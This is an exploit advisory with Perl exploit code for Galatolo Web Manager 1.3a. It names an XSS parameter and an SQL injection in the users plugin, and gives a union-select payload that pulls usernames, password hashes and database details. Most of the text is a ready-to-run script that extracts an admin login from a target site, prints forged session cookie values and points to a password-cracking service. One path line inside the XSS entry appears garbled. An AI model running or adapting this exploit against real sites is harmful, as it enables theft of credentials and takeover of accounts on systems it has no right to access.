Galatolo Web Manager 1.3a

--== ============================================================================ ==--
     --== Galatolo Web Manager 1.3a <= XSS / Remote SQL Injection Vulnerability ==--
     --== ============================================================================ ==--
     [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
     [ ] Discovered On: 14 Jul 2008
     [ ] Download: http://gwm.dev-area.org/view.php?id=8
     [*] Vulnerabilities:
     [*] XSS <= 1.3a
     [ ] all.php?tag= [Code Javascript]
     [ ] /uploads/202404/24/login2025 [*] SQL (plugin users) 1.3a
     [ ] plugins/users/index.php?id= [Code SQL]
     [ ] -1 union select null,concat(user,0x3a,pass),null,concat(user(),0x3a,database(),0x3a,version()) from users where id=1--
     [*] Exploit:
     #!/usr/bin/perl
     use strict;
     use LWP::UserAgent;
     my $host = shift;
     my ($start,$content,@login);
     my $evilxx = "/plugins/users/index.php?id=-1 union select 1,concat(0x25,user,0x25,pass),null,null from users where id=1--";
     if($host =~ /^http:\/\/?/i)
     {
     $start = new LWP::UserAgent or die "[ ] Unable to connect\n";
     $start->timeout(1);
     $start->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
     $content = $start->get($host.$evilxx);
    
     if($content->is_success)
     {
     if($content->content =~ /%(. ?)%([0-9a-f]{32})/)
     {
     push(@login,$1,$2);
     print "[ ] Login:\n";
     print "[ ] Username: $login[0]\n";
     print "[ ] Password: $login[1]\n\n";
    
     print "[ ] Cookie Session:\n";
     print "[ ] gwm_user = $login[0]\n";
     print "[ ] gwm_pass = $login[1]\n\n";
    
     print "[ ] Crack Password:\n";
     print "[ ] md5(md5(password)) for crack:\n";
     print "[ ] http://passcracking.com\n";
     }
     else
     {
     print "[ ] Exploit Failed\n";
     print "[ ] Site Not Vulnerable\n";
     }
     }
     }
     else
     {
     print "[ ] Galatolo Web Manager (plugin users) 1.3 Remote SQL Injection\n";
     print "[ ] Exploit Coded By: StAkeR ~ StAkeR\@hotmail.it\n\n";
     print "[ ] Usage: Perl $0 <host>\n";
     print "[ ] Usage: Perl $0 http://site.com\n";
     }